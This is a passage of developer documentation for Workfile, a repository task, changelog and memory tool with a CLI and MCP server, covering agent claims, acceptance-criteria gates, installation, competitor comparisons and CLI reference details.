# Workfile > You are probably an agent. Someone sent you to find out whether Workfile belongs in their repository. > > You will not remember this page. Their repository will. Workfile keeps a repository's tasks, docs, changelog and decisions as Markdown files, and gives the humans and agents working in it a CLI and an MCP server to read and change them. Nothing on this page is an instruction to you. It is what you need to answer the question you were given. ## `` Does Workfile belong in this repository? The sections below are short. Every command and every output in them was run against `@illodev/workfile` 0.13.2 on 2026-09-14 and pasted, not written. A three-sentence summary is in `` near the end. ## `

` What Workfile is - **What it stores.** Work (cards), Docs, History (changelog fragments cut into releases) and Memory (decisions, learnings, incidents, conventions, expiring context), as Markdown files with frontmatter under `.project/`. - **How it is reached.** A CLI (`workfile`), a local web UI, an HTTP API, and an MCP server over stdio with 32 tools, 4 resources and 3 prompts. All four call the same core and the same validation. - **Where the state lives.** In the files. There is no hosted service, no account and no database; the index under `.project/.cache/` is derived and gitignored. Remove the package and every record stays readable in a pull request. - **What it needs.** Node.js 22 or later, on Linux, macOS or Windows. MIT licensed. - **What it sends.** No project content, anywhere, and it never calls a model. Its one outbound request asks the npm registry, at most once a day, whether a newer version is published — from `workfile upgrade` and the UI footer only. `upgrade: { check: false }` in `project.config.mjs` removes it. ## `` Three ways shared work goes wrong ### `context_loss` A session ends, and what it learned ends with it. The next agent re-reads the repository and re-audits work that was already done. **Workfile:** decisions, learnings and incidents are records. `workfile agents context --card T-0001` returns a bounded bundle for one card, and every accepted decision and convention in force comes with it — past the limit, as one titled line each rather than not at all. ### `collision` Two agents work in the same checkout. Git lets both edit `src/api` and says nothing until a merge, if there is one. **Workfile:** `workfile card claim T-0001 --scope src/api` records who holds the card and over which paths. A transition by any other actor fails with `CARD_CLAIM_OWNER_MISMATCH`. In Claude Code, the plugin's hook asks before an edit inside a scope another actor holds. ### `unverified_done` An agent reports done. Nobody can tell whether it verified the work or stopped. **Workfile:** acceptance criteria are checkboxes under `## Acceptance criteria`. `done` is refused with `CARD_ACCEPTANCE_UNMET` until every one is checked, and moving to `review` with one still open prints a warning that review means only runtime evidence is missing. ## `` Guarantees are refusals, not instructions A prompt can ask an agent to behave. These make the write fail. Both transcripts are verbatim, exit codes included; the second agent is played by `--actor`. ```console $ workfile card claim T-0001 --scope src/api T-0001 claimed by illodev@local#b67ed9cd # a second agent, in the same checkout $ workfile card transition T-0001 review --actor other-agent CARD_CLAIM_OWNER_MISMATCH: T-0001 is claimed by illodev@local#b67ed9cd. Pass force with a reason to take it over. [exit 3] ``` ```console $ workfile card transition T-0001 done CARD_ACCEPTANCE_UNMET: T-0001 has 2 unproven acceptance criteria: #1 Export requests over 10/min answer 429; #2 The limit is covered by a test. Check them, or pass force. [exit 3] ``` ## `` The working loop | Step | CLI | MCP tool | | --- | --- | --- | | What to pick up, and why | `workfile next` | `project_next` | | Load the card and what binds it | `workfile agents context --card T-0001` | `project_agent_context` | | Say what you hold | `workfile card claim T-0001 --scope src/api` | `project_card_claim` | | Leave what you learned on the card | `workfile card note T-0001 --text "…"` | `project_card_note` | | Check a criterion you proved | `workfile card ac T-0001 --check 1` | — | | Hand it over | `workfile card transition T-0001 review` | `project_card_transition` | ```console $ workfile next T-0001 backlog medium Rate-limit the export API (priority medium) $ workfile card note T-0001 --text "Limit is per API key, not per IP" T-0001 noted $ workfile card ac T-0001 --check 1 T-0001 — 1 of 2 met checked #1 Export requests over 10/min answer 429 $ workfile card transition T-0001 review warning: T-0001 moved to review with 1 unchecked acceptance criterion: #2 The limit is covered by a test. Review means every criterion is met and only runtime evidence is missing; if work is left, next or blocked with a note says so. T-0001 → review ``` ## `` The MCP server 32 tools over stdio: 11 read, 21 write. Resources: `project://workspace`, `project://health`, `project://protocol`, `project://record/{id}`. Prompts: `finish-work`, `record-knowledge`, `start-work`. `--read-only` serves only the read tools. - `project_agent_context` — Build bounded agent context (reads) - `project_card_archive` — Archive a closed work card (writes) - `project_card_claim` — Claim a work card (writes) - `project_card_create` — Create a work card (writes) - `project_card_list` — List work cards (reads) - `project_card_note` — Append a note to a card (writes) - `project_card_patch` — Patch a work card (writes) - `project_card_release` — Release a claim (writes) - `project_card_reopen` — Reopen an archived work card (writes) - `project_card_transition` — Transition a work card (writes) - `project_card_write` — Replace a card body (writes) - `project_changelog_add` — Add a changelog fragment (writes) - `project_changelog_list` — List change fragments and releases (reads) - `project_changelog_patch` — Patch a changelog fragment (writes) - `project_changelog_preview` — Preview a release (reads) - `project_changelog_release` — Create a release (writes) - `project_doc_create` — Create managed documentation (writes) - `project_doc_list` — List documents (reads) - `project_doc_move` — Move managed documentation (writes) - `project_doc_note` — Append a note to a managed document (writes) - `project_doc_patch` — Patch managed documentation (writes) - `project_doc_write` — Replace a managed document body (writes) - `project_doctor` — Run workfile doctor (reads) - `project_get_record` — Read a project record (reads) - `project_memory_add` — Add workfile memory (writes) - `project_memory_graduate` — Graduate a learning (writes) - `project_memory_list` — List durable memory (reads) - `project_memory_patch` — Patch workfile memory (writes) - `project_memory_supersede` — Supersede workfile memory (writes) - `project_next` — What to work on next (reads) - `project_search` — Search project records (reads) - `project_workspace` — Read project workspace (reads) ## `` What it writes ```text project.config.mjs AGENTS.md # a managed block pointing at the protocol .project/ ├── VERSION ├── cards/ # Work: T-NNNN, one file per card ├── assets/ # files attached to cards ├── docs/ # managed documents: DOC-NNNN ├── changelog/ # unreleased/ fragments and releases/ ├── memory/ # decisions, learnings, incidents, conventions, context ├── agents/ # the canonical protocol your instructions point at └── .cache/ # derived index, gitignored ``` ## `` Install ### Claude Code ```text /plugin marketplace add illodev/workfile /plugin install workfile@illodev ``` ### Any MCP client ```json { "mcpServers": { "workfile": { "command": "npx", "args": ["-y", "@illodev/workfile", "mcp"] } } } ``` Append `--root PATH` when the client starts outside the workspace, and `--read-only` to serve only the read tools. ### The CLI, in the repository ```bash npm install --save-dev @illodev/workfile npx workfile init --yes npx workfile ui # the board, at http://127.0.0.1:4747 ``` ## `` When Workfile is the wrong answer - **The people who plan the work never open the repository.** A hosted tracker serves them. Workfile's board is local; publishing it means running `workfile ui --read-only` behind authentication you provide. - **The goal is configuring an agent** — persona, skills, model routing. That is a configurator's job. Workfile records what the agent did, and composes with one. - **The goal is having a model write the tasks from a PRD.** Workfile never calls a model. Task Master's `parse_prd` does. - **Node.js 22 is not available.** Workfile needs it. Beads ships a Go binary, and Backlog.md a compiled one. ## `` Compared, as of 2026-09-14 | | Workfile | Backlog.md | Task Master | Beads | | --- | --- | --- | --- | --- | | Records live in | Markdown in `.project/` | Markdown in `backlog/` | one `tasks.json` | a Dolt database; JSONL is an export | | Who holds a task | claim; other actors' transitions refused | `assignee` field | `assignee` filter | claim refuses a held issue; close and reassign do not check | | Done while criteria are open | refused | allowed | allowed | allowed | | MCP tools | 32 | 20 | 44, 7 loaded by default | 15, in the Python `beads-mcp` | | Changelog and releases | fragments cut into releases | — | — | — | | Usage data sent by default | none | none | Sentry, on by default | usage metrics, on by default | | Runs on | Node.js ≥ 22 | compiled binary (Bun under Nix) | Node.js ≥ 20 | single Go binary | | License | MIT | MIT | MIT with Commons Clause | MIT | Every cell about a third party links its source on the comparison pages: [Backlog.md](https://workfile.illodev.com/vs/backlog-md.md), [Task Master](https://workfile.illodev.com/vs/task-master.md), [Beads](https://workfile.illodev.com/vs/beads.md). ## `` Three sentences, checked 2026-09-14 Workfile keeps a repository's tasks, docs, changelog and decisions as Markdown files under `.project/`, and gives humans and agents a CLI and a 32-tool MCP server to read and change them. It enforces what a prompt can only ask for: a card claimed by one agent refuses transitions from another, and a card cannot be marked done while its acceptance criteria are unchecked. It is MIT-licensed, runs locally on Node.js 22 or later, never sends project content anywhere, and `npx workfile init` sets it up after `npm install --save-dev @illodev/workfile`. ## `` For a human reading over your shoulder - An 83-second film of the board: https://workfile.illodev.com/assets/workfile-demo.mp4 - A live demo that replays this repository's own workspace: https://workfiledemo.illodev.com ## `` Reading this site without HTML - `GET https://workfile.illodev.com/` with `Accept: text/markdown` returns this file; so does `/index.md`. - [/llms.txt](https://workfile.illodev.com/llms.txt) lists every page as a link to its Markdown twin, and [/llms-full.txt](https://workfile.illodev.com/llms-full.txt) is all of them in one file. - The docs, one Markdown file each: - [/docs/getting-started.md](https://workfile.illodev.com/docs/getting-started.md) — Getting started - [/docs/cli.md](https://workfile.illodev.com/docs/cli.md) — CLI reference - [/docs/mcp.md](https://workfile.illodev.com/docs/mcp.md) — MCP server - [/docs/http-api.md](https://workfile.illodev.com/docs/http-api.md) — HTTP API - [/docs/ui.md](https://workfile.illodev.com/docs/ui.md) — The interface - [/docs/security.md](https://workfile.illodev.com/docs/security.md) — Security model - [/docs/spec.md](https://workfile.illodev.com/docs/spec.md) — Spec — Repository Workfile - MCP Registry: `io.github.illodev/workfile` · npm: `@illodev/workfile` · source: https://github.com/illodev/workfile --- # Getting started Workfile coordinates **Work, Docs, History and durable Memory** as markdown files inside your repository. This guide takes you from zero to a working workspace. ## Install ```bash pnpm add -D @illodev/workfile # per repository (recommended) pnpm workfile doctor # dependency bins run through pnpm / npx pnpm add -g @illodev/workfile # or globally: `workfile` lands on your PATH ``` `pnpm dlx @illodev/workfile init` works for one-shot initialization, but keep the package installed afterwards — that is what makes the `project*` scripts `init` adds to package.json resolve. ## Initialize a workspace ```bash workfile init ``` The initializer detects your package manager, monorepo folders, likely card areas, documentation sources, agent environments and CI providers. Every answer can be given as a flag for automation, and `--dry-run` prints the exact filesystem plan: ```bash workfile init --yes --agents agents-md,claude --ci github workfile init --dry-run --json ``` You get a `project.config.mjs` at the root and a `.project/` directory: ```text project.config.mjs .project/ ├── VERSION ├── cards/ # Work records (T-NNNN), archive/ for closed history ├── assets/ # files attached to cards ├── docs/ # managed documents (DOC-NNNN) ├── changelog/ # unreleased/ fragments and releases/ ├── memory/ # learnings, decisions, incidents, conventions, context └── agents/ # canonical agent instructions ``` All of it is plain markdown with frontmatter — commit everything except `.project/.cache/` (the initializer adds it to `.gitignore` for you). ## The daily loop ```bash workfile ui # local board at http://127.0.0.1:4747 workfile card create --title "Ship the login page" --area web workfile card claim T-0001 --scope apps/web workfile card transition T-0001 review ``` Agents claim cards with scoped paths so two of them never touch the same files; claims release automatically when a card leaves `doing`. As work lands, record it: ```bash workfile changelog add --title "Login page" --type added --area web workfile memory add learning --title "Session cookies need SameSite=Lax" workfile doc create --title "Auth runbook" --kind runbook ``` And when you cut a version, the accumulated fragments become a release: ```bash workfile changelog preview workfile changelog release 1.4.0 workfile changelog render --visibility public --write # regenerates CHANGELOG.md ``` ## Keeping it healthy ```bash workfile doctor --json ``` The doctor validates every collection: broken references, stale docs, expired context, incidents missing resolution metadata, unmanaged agent instructions. The same diagnostics power the Health view in the UI. ## Where to go next - [CLI reference](/docs/cli.md) — every command and flag. - [HTTP API](/docs/http-api.md) — the same operations over REST. - [MCP server](/docs/mcp.md) — expose the workspace to AI agents. - [SPEC](/docs/spec.md) — the normative protocol specification. --- # CLI reference Every command accepts the global options and returns stable machine-readable errors with `--json`. The package installs the CLI under two names: `workfile` and the short alias `wf`. They are the same entry point, and the help and error hints answer in whichever one you typed. This reference spells the long form throughout. Prefer the long form in anything generated, scripted or shared — CI, a `package.json` script, a README a stranger will copy. `wf` only resolves for a binary that is already installed, while an unrelated `wf` package exists on the registry, so `npx wf` would fetch that instead of failing. Workfile's own generated protocols and skills always spell it long for that reason. ## Global options This is the whole list. Every other option belongs to the subcommands that read it, and appears in their usage lines below. | Option | Meaning | | --- | --- | | `--root PATH` | Workspace root (default: discovered from the working directory) | | `--json` | Machine-readable output | | `--dry-run` | Preview filesystem changes, where the subcommand implements it | | `--allow-new` | Accept a directory that is not yet a workspace | | `--verbose` | Print the resolved workspace root to stderr before running | | `--help`, `-h` | Print the usage for a command without running it | An option a subcommand does not accept is refused with `CLI_ARGUMENT_UNKNOWN`, and one given twice with `CLI_ARGUMENT_CONFLICT`, because only the first is read. Pass a list as one comma-separated value. A value follows its option as the next word or after `=`: `--limit 5` and `--limit=5` read the same, on every option that takes a value. A flag that takes none refuses one — `--json=true` is `CLI_ARGUMENT_INVALID` — rather than being read as the bare flag. In 0.10.0 and earlier the `=` spelling passed the option check and was then never read, so `--expected-revision=REV` wrote with no revision check and exited 0; if a caller of yours learnt that spelling from a session where it seemed to work, it was not working. A word that branches answers for its own subcommand first: an unrecognised one with `CLI_COMMAND_UNKNOWN` and a missing one with `CLI_COMMAND_REQUIRED`, both listing what the word does accept. `workfile claude`, `workfile mcp` and `workfile migrate` are the exceptions — they run `check`, `serve` and `apply` respectively, and are checked as though you had typed those. `--dry-run` is global but not universal. It is accepted everywhere so that no caller has to remember where it works, and then refused with `CLI_FLAG_UNSUPPORTED` on any command that would have written anyway — naming the read-only command to look with instead, such as `changelog preview` or `card show`. Silently making the change would be the alternative. These four read as global for a while and are not. They are listed here because the wrong version of this table shipped, and a reader who learned it from that one needs to find the correction where the mistake was. | Option | Subcommands that accept it | | --- | --- | | `--expected-revision REV` — reject the write when the file changed since it was read | `card ac`, `card archive`, `card claim`, `card note`, `card patch`, `card release`, `card reopen`, `card transition`, `card write`, `changelog patch`, `changelog release`, `doc move`, `doc note`, `doc patch`, `doc write`, `memory graduate`, `memory patch`, `memory supersede` | | `--force` — proceed past the check the command would otherwise fail | `agents sync`, `card claim`, `card patch`, `card release`, `card transition`, `ci sync`, `claude install`, `claude sync`, `init`, `migrate apply` | | `--reason TEXT` — why a check was waived; recorded on the card | `card claim`, `card patch`, `card release`, `card transition` | | `--read-only` — load the workspace read-only: every write answers `WORKSPACE_READ_ONLY` | `mcp config`, `mcp inspect`, `mcp serve`, `mcp stdio`, `ui` | | `--yes` — accept the initializer defaults without prompting | `init` | Exit codes: `3` stale revision · `2` configuration error · `1` validation / not found. ## Accepted spellings The dispatcher answers to more words than this reference spells. Each pair below reaches the same code — there is no behavioural difference, and neither spelling is deprecated. The left column is what the rest of this document uses. | Documented | Also accepted | | --- | --- | | `workfile doc …` | `workfile docs …` | | `workfile changelog …` | `workfile history …` | | `workfile ui` | `workfile serve` | | `workfile agents check` | `workfile agents status` | | `workfile ci check` | `workfile ci status` | | `workfile changelog add` | `workfile changelog create` | | `workfile memory add` | `workfile memory create` | | `workfile claude install` | `workfile claude sync` | | `workfile mcp serve` | `workfile mcp stdio` | They are listed because an alias nobody documents is one nobody can rely on: it resolves today, it is not in `--help`, and the only way to learn it is to read the dispatcher. A test requires every subcommand the binary accepts to be named somewhere in this file, so a new spelling that skips this table fails the suite rather than arriving undocumented. ## Machine-readable answers `--json` answers one of three shapes, and the table says which for every subcommand that has one. It is pinned by a test that runs each record-answering command and checks the keys, so the table and the binary cannot drift apart. The vocabulary: - **`{ record }`** — the record under one key, the shape every MCP tool answers (`project_get_record`, `project_card_patch`, …), with named extras beside it when there are any. - **`{ records, total }`** — a listing; `card list` adds `offset` and `truncated`. - **report** — a shape of the command's own: doctor's issues, a verify run, a schema. | Command | Shape | | --- | --- | | `card show`, `doc show`, `changelog show`, `memory show` | `{ record }` | | `card create`, `card archive`, `card reopen`, `card note` | `{ record }` | | `card patch`, `card transition`, `card release` | `{ record, warnings? }` — `warnings` names the criteria a move to `review` left unchecked; it never refuses the move | | `card write` | `{ record, ignored? }` — `ignored` names a protocol section that was dropped | | `card claim` | `{ record, warnings, verify? }` | | `doc create`, `doc patch`, `doc write`, `doc note`, `doc move` | `{ record }` | | `changelog add`, `changelog patch`, `changelog release` | `{ record }` | | `memory add`, `memory patch`, `memory graduate`, `memory supersede` | `{ record }` | | `card list` | `{ records, total, offset, truncated }` | | `doc list`, `changelog list`, `memory list`, `card reap` | `{ records, total }` (`reap`: `records` only) | | `card ac`, `card verify`, `changelog preview`, `changelog render`, `changelog verify`, `memory verify` | report | | `doctor`, `schema`, `next`, `search`, `upgrade`, `init` | report | | `agents context`, `agents whoami`, `agents sync`, `agents check`, `agents status`, `claude install`, `claude sync`, `claude check`, `ci sync`, `ci check`, `ci status`, `mcp inspect`, `mcp config`, `migrate plan`, `migrate schema`, `migrate apply` | report | Until 0.12.x the record rows answered the record itself at the top level, and the CLI and the MCP tools disagreed on every record — a caller ended up reading everything with `d.get("record", d)`, which works until a command returns `{ records }`. The CLI converged on the MCP envelope in **0.13.0**, the owner's decision of 2026-09-11 on T-0246, taken over documenting the divergence and living with it. The one-line fix for a caller that read the top level is `.record`. 0.12.x announced the cut on stderr on every record answer and offered `WORKFILE_JSON_ENVELOPE=1` to move early; in 0.13.x that variable is accepted and ignored, so a script that set it does not break twice, and 0.14.0 refuses it as unknown. `--fields a,b` applies to every **`{ record }`** answer and cuts the record inside the envelope: `card transition T-0042 next --json --fields id,status,revision` is the answer without the body that a caller wanted from `--quiet`. Keys the record does not carry are left out rather than reported null. ## Workspace ```bash workfile init [--root PATH] [--yes] [--dry-run] [--name NAME] workfile version # the installed package version, one line workfile schema [--json] # effective runtime schema (areas, vocabularies, verification policy…) workfile doctor [--json] [--severity error|warning] [--max-issues N] [--rebuild-cache] [--fix] workfile doctor --new # only what appeared since the baseline workfile doctor --accept-baseline # record the current state as known workfile upgrade [--dry-run] [--json] workfile ui [--host HOST] [--port PORT] [--allowed-host HOST] [--read-only] [--verbose] workfile next [--actor ACTOR] [--area AREA,AREA] [--limit N] [--json] workfile search QUERY [--kind card,doc,change,release,memory] [--limit N] [--mode auto|lexical|hybrid] [--json] ``` `ui` serves the board on `ui.port` from `project.config.mjs`, which is `4747` until a workspace says otherwise. Two projects therefore ask for the same port, so a taken default moves aside: the board comes up on the next free port and says which project holds the one it wanted. A port you named yourself does not move — an explicit `--port` that is in use fails with `UI_PORT_IN_USE` rather than landing somewhere you did not ask for. Set `ui.port` per project to keep each board at an address you can remember. `ui --read-only` serves the same board with the workspace loaded read-only: every mutating route answers `409 WORKSPACE_READ_ONLY`, the index cache is not written, and the UI drops its editing affordances rather than offering writes that cannot land. That is the shape to publish — a shared board people read. `ui --allowed-host HOST` names a host the board may answer to, repeatable and comma-separable. It is required to publish one at all: the server refuses any `Host` outside its allowlist (the guard that makes DNS rebinding fail), and that list is the loopback set plus `--host` — which contributes nothing when `--host` is `0.0.0.0`, the value serving from a container needs. Named hosts are added to the loopback set, not swapped for it, so a container healthcheck on `localhost` keeps working. `--allowed-host '*'` turns the check off; the server has no authentication of its own, so anything published that way needs something in front of it that does. `next` answers what to pick up now: work you already claimed first, then unblocked cards by priority, with unmet dependencies excluded rather than ranked low. Every row carries the reason it was offered. It is the same ranking the `project_next` MCP tool serves. `doctor` reports absolute state, which stops being useful the moment a repository carries inherited debt: a clean run and an unchanged dirty one look alike, so nobody can require it. `--accept-baseline` writes the current issue set to `.project/doctor-baseline.json`, and `--new` then reports only what appeared afterwards, exiting `1` on anything new and `0` otherwise. A text report carrying more than fifty warnings ends by naming both flags: a report that long is where the question comes up, and the last place anyone opens the help (T-0254). `doctor --fix` repairs the three findings a repair can be derived from: a duplicate ID on any record kind, a filename whose slug no longer matches the card's title, and protocol trail entries written outside `## Activity`. It never invents content, and it never hides what it did not do — a collision it cannot heal is printed as `cannot fix:` with the reason, and the run still fails on it. One finding `--fix` will never touch is `parent-all-children-closed`: an open card whose every descendant has come to rest — `done`, `review`, `discarded`, `deferred` or archived, the whole subtree and not one level. Closing the last child does not move the parent and the parent never looks at itself, so such a card sits on the board until somebody's context pays for it. The warning says how many descendants delivered, which `discarded` children name a still-open twin (work that moved, not work that got done), and the date of the parent's last note rather than `updated`. It stops there: measured on the board it was written for, a parent with 68 children `done` and a parent with one child `discarded` and three pieces of work never carded look identical from the count, and only the first should close. `duplicate-title` is the other finding about two cards rather than one: two open cards whose titles carry the same content words — lower-cased, accents and punctuation stripped, articles and prepositions dropped — with at most one word extra on one side. Reported once, on the card filed later, naming the earlier one. The distance is the one measured before the rule shipped: on a 1 510-open-card board, exact titles found nothing and this found five pairs, all of them real. Closed cards are out on both sides, because a new card repeating a finished one's title is a reopen, and that is a different question. `produced-by-invalid` (warning) reports a `produced_by` block that does not read as a producer: the protocol writes only well-formed ones, so it is a hand edit, and a malformed block defeats the one thing the field is for, which is being counted over. That file is committed on purpose. A baseline under the cache would be per-clone and missing in CI, which is the one place a "nothing new" verdict has to hold, and keeping it in the tree puts newly accepted debt in the diff where a reviewer can see it. Issues are matched on rule, subject and message, so two different problems from the same rule against the same card stay distinct. `--new` answers "did I make this worse"; plain `doctor` is still where you go to ask whether anything is wrong at all. `search` is lexical by default and becomes hybrid automatically when `project.config.mjs` declares an integration with a semantic search provider (`export const integrations = [...]`; `search.provider` selects one by id when several are declared). `--mode lexical` opts out for a run; `--mode hybrid` fails with `SEARCH_PROVIDER_UNAVAILABLE` instead of silently degrading when no provider is available. `--json` reports which mode actually ran. Workfile never sends repository content to a network service by itself — a provider only runs if the repository explicitly declares it. The first-party provider is [`@illodev/workfile-search-local`](https://github.com/illodev/workfile/tree/main/packages/search-local#readme): on-device embeddings via onnxruntime-web, cached by content hash, fully offline after the first model download. `upgrade` is the one command to run after bumping `@illodev/workfile`: it compares the installed version against the stamp on every managed surface the config owns (agent adapters, CI templates, the Claude Code surface) and resyncs the ones behind — including surfaces whose *content* is current but whose stamp is old, which the staleness checks deliberately ignore. Managed blocks whose kind no configured target owns are reported instead of silently fossilizing. `upgrade` is also the one command that asks whether the *package* is behind, because nothing else did: the installed version was only ever compared against the stamps inside the workspace, so a repository could sit two releases behind with every check green. It sends one `GET` to the npm registry — `/@illodev%2Fworkfile/latest`, no body, nothing that names the workspace — honouring `npm_config_registry` and using `https://registry.npmjs.org` otherwise. A newer published version prints a `BEHIND` line with the install command for the package manager the workspace uses; the current one prints a `latest` line saying when the registry was asked. The answer is cached for 24 hours in `.project/.cache/update-check.json`, a failed attempt for one hour, and the directory is gitignored. The request starts before the surfaces are compared and its line is printed after them, so it delays nothing; with no network, or a registry answering anything but a version, the command prints nothing about it at all. `upgrade.check: false` in `project.config.mjs` removes the request entirely. `doctor`, the generated CI and every other command never reach the network — the interface's footer is the only other place that asks, once per page load, from the same cache. ### Query grammar One grammar, shared by the CLI, the HTTP API, MCP and the interface — the same string returns the same answer everywhere, which it did not before. | Form | Meaning | | --- | --- | | `billing retry` | free text over id, title, metadata and body, ranked | | `"exact phrase"` | one term, not two | | `status:doing` | field filter; narrows rather than ranking | | `area:ui type:bug` | filters combine with AND | | `-status:done` | negated filter | | `-draft` | negated term | | `tag:` / `claim:` | aliases for `tags` and `claimed_by` | | `/timeout \d+/i` | regular expression over id, title and body; flags from `imsu` | Field names are the record's own keys, so the vocabulary follows the runtime schema rather than a second list. An unknown field matches nothing instead of falling back to free text, which would quietly return everything. Text is compared with diacritics folded, so `diseno` finds `Diseño`. Only the full `/pattern/flags` form runs as a regex — a slash inside a plain query does not. Regex queries are exact-intent: they bypass the semantic provider, rank title hits above body hits and match count after that, and report `mode: "regex"`. Patterns are capped at 256 characters, bodies scanned to their first 20,000; an invalid pattern fails with `SEARCH_REGEX_INVALID`. Your pattern runs in a worker thread with a two-second deadline, and a pattern that exceeds it fails with `SEARCH_REGEX_TIMEOUT`. Those caps bound the input; nothing bounds backtracking, and a pattern like `(a+)+$` takes 57 seconds against a 32-character body — the thread is the only thing with a stop button on it. The ordinary cost is about 50ms of thread startup, paid only by regex queries. ## Work (cards) ```bash workfile card list [--status S] [--area A] [--type T] [--priority P] [--parent ID] [--claimed-by ACTOR] [--unclaimed] [--tag TAG] [--updated-since DATE] [--axis NAME=VALUE] [--limit N] [--offset N] [--fields a,b] [--with-body] [--json] workfile card show ID [--json] workfile card create --title TITLE [--area AREA] [--type TYPE] [--priority PRIORITY] # TITLE up to 80 characters workfile card create --title TITLE --raised reported|derived [--parent ID] [--source PATH] [--tags a,b] [--scope PATH,PATH] [--depends ID,ID] [--related ID,ID] [--origin ID,ID] [--milestone M] [--effort S|M|L] [--start DATE] [--due DATE] [--body TEXT] [--axis NAME=VALUE] workfile card create --json-input FILE workfile card patch ID --json-input FILE [--expected-revision REV] workfile card patch ID --axis NAME=VALUE # repeatable; empty value clears it workfile card claim ID [--scope PATH,PATH] [--actor ACTOR] [--force --reason TEXT] workfile card release ID [--actor ACTOR] [--status next] [--force --reason TEXT] workfile card transition ID STATUS [--actor ACTOR] [--force --reason TEXT] workfile card transition ID done [--method local|ci|manual] [--run URL] [--evidence TEXT] workfile card release ID --status done [--method ci --run URL] workfile card patch ID --json-input FILE [--method manual --evidence TEXT] workfile card archive ID [--actor ACTOR] workfile card reopen ID [--status backlog] [--actor ACTOR] workfile card write ID [--body-file FILE] [--expected-revision REV] # or pipe the body on stdin workfile card note ID --text TEXT [--section NAME] [--actor ACTOR] workfile card reap [--dry-run] [--older-than HOURS] [--json] workfile card renumber ID|FILE [--to T-0123] [--actor ACTOR] workfile card renumber --duplicates [--actor ACTOR] workfile card ac ID # list criteria with their numbers workfile card ac ID --check 1,3 --check 5 # repeatable, comma lists accepted workfile card ac ID --uncheck 2 workfile card verify ID [--only gate] [--actor ACTOR] # run the declared commands workfile card verify --changed --base main # every card this branch touched workfile card verify --changed --base main --close --run URL --commit SHA ``` Acceptance criteria are the `- [ ]` items under a `## Acceptance criteria` heading. The storage does not change — it renders on GitHub and `grep` finds it. What `ac` adds is that they are addressable. Numbers are positional, and every write carries the usual lock and revision check, so a concurrent reorder is refused rather than quietly applied to the wrong line. `card transition ID done` refuses while any criterion is unproven and names the ones that are, because `done` means verified where the code actually runs. `--force` gets through for the cases the criteria did not anticipate, and takes `--reason TEXT`, which the card's trail carries in place of the gate: ```text - 2026-08-05 11:04Z alice@studio · review → done (forced past 3 unproven criteria: the last two need hardware CI does not have) ``` The reason is required only when `--force` actually waives something — the gate names what it let through, so a `--force` that nothing refused records nothing and asks for nothing. Taking another actor's claim is the other waivable gate, and it is written the same way. `card claim` also runs the card's declared `verify` entries once the claim is written, and warns — never refuses — when a verdict disagrees with the card: a criterion marked met whose command no longer holds, or one still unchecked whose command already does. The line says which way it moved and what was proved, because a search exits 0 when it **finds** and "failed" on an `expect: absent` entry is the success. Nothing is written — `card verify` is the only caller that may move a bound box — and a card with no `verify` block never reaches the runner, so its claim costs what it did before. The commands are bounded by `cards.verification.timeoutSeconds`; `--json` carries the run under `verify`. Reaching `done` also writes a `verified` block into the card's frontmatter — when, how, at which commit, and a digest of the criteria it was proved against. `--method` says which tier it was: | Method | Means | Needs | | --- | --- | --- | | `local` | A command ran on your machine. Self-reported, and what you get when you pass no method. | — | | `ci` | A run anyone can open. | `--run URL` | | `manual` | A person judged something no command expresses. | `--evidence TEXT` and an actor | There is no `--method forced`. `forced` is what the record says when `--force` walked the gate past something, derived rather than asked for, and asking for it is refused — what was waived and why is already on the trail line above, and writing it twice would give the record two places to disagree. The three flags are refused, not dropped, on a write that does not close the card: `card transition ID review --method ci` is an instruction with nowhere to go, and exiting 0 on it is the one failure an agent cannot notice. `--evidence` is collapsed onto one line and written under the card's `## Notes`. `doctor` reports, without failing, a card verified against criteria text that has since changed, and a card whose commit is no longer an ancestor of HEAD. Neither is enforced retroactively: they are information about work that is already closed. ### Which methods an area accepts Which of the three a close may use is the project's to declare, per area, under `cards.verification.methods`: ```js cards: { areas: ["api", "web", "docs"], verification: { methods: { api: ["ci"], docs: ["ci", "manual"], "*": ["ci", "local"] } } } ``` `*` answers for every area not named, including the ones somebody adds next month — without it a new area escapes the policy in silence. Declare nothing and every method is accepted, which is what your project does today. Closing a card by a method its area does not accept is refused with `CARD_VERIFICATION_METHOD_REFUSED`, and the message names what the area does accept. **Passing no method does not exempt you**: a close with no `--method` records `local`, so under `{ api: ["ci"] }` a bare `card transition ID done` on an `api` card is refused too — a gate you get past by typing less is not a gate. `workfile schema --json` reports the policy under `cards.verification`, so an agent can read it instead of discovering it by being refused. It is the third gate a close meets, and it is waived the same way as the other two: `--force` with `--reason TEXT` gets through, the trail line names the area's verification policy among what it waived, and the card then records `forced` rather than the method that was refused. That is also why a forced close must not carry `--method`: the record has one answer for how the card was proved, and on a forced close that answer is `forced`. `doctor` reports two more findings, neither of them failing. A `done` card whose recorded method the policy no longer accepts is `verification-method-unaccepted` — tightening a policy must not invalidate work that already shipped. A policy naming an area `cards.areas` does not declare is `verification-policy-area-unknown`, reported rather than refused at config load: removing an area should not stop the workspace from loading, and a config that will not load takes the doctor that would explain it with it. `card create --json-input FILE` is the form to reach for when the card has a body. It takes the whole record — title, body, parent, source, tags, scope — in one call, and a JSON file survives backticks, `$` and accents that a shell heredoc quietly mangles. The flag form above writes the same fields; it is the body that argues for the file. `--origin ID,ID` records which records the work came out of — the card being worked when it was found, the decision that produced it. Any record kind, not cards only. It is provenance, not decomposition: use `--parent` when the card is genuinely part of another, and `--origin` when it merely came out of it. There is no `card patch --origin`; patching any card field goes through `--json-input`, the same as every other field. `agents context --card ID` reads it back in both directions, and `doctor` reports an origin that resolves to nothing. `--axis NAME=VALUE` writes a classification axis the project declares under `cards.axes` — a second axis alongside `area`, for domains rather than delivery layers. Run `workfile schema --json` to see which axes exist and what each accepts; an undeclared axis and a value outside its vocabulary are both refused, and the message carries the list. It repeats, once per axis, because the axis name is per project and a flag per axis is not something a static table can offer. `--axis context=` with nothing after the `=` clears it. `card list --axis context=treasury` filters on the same axis, and combines with every other filter. A comma list is an OR within one axis (`--axis context=treasury,billing`); a second `--axis` for a different name is an AND. Repeating the *same* name is refused with `CLI_ARGUMENT_CONFLICT`, because only one value would survive and the caller could not tell which. `doctor` reports on declared axes the way it reports on areas: a value outside the vocabulary is an **error**, since it is a typo that silently matches nothing, and an open card with no value at all is a **warning**. Cards that are `done`, `discarded` or archived are exempt from the warning — declaring an axis on an existing repository must not emit one line per finished card, which is a flood nobody acts on rather than a signal. That exemption is written for a lifecycle where `done` is where work rests. On a board where `review` is — because `done` is reserved for runtime evidence an agent can rarely supply — every card that reaches `review` keeps warning for ever, and one axis measured at 74 % of a 2 018-warning doctor run. Declare the 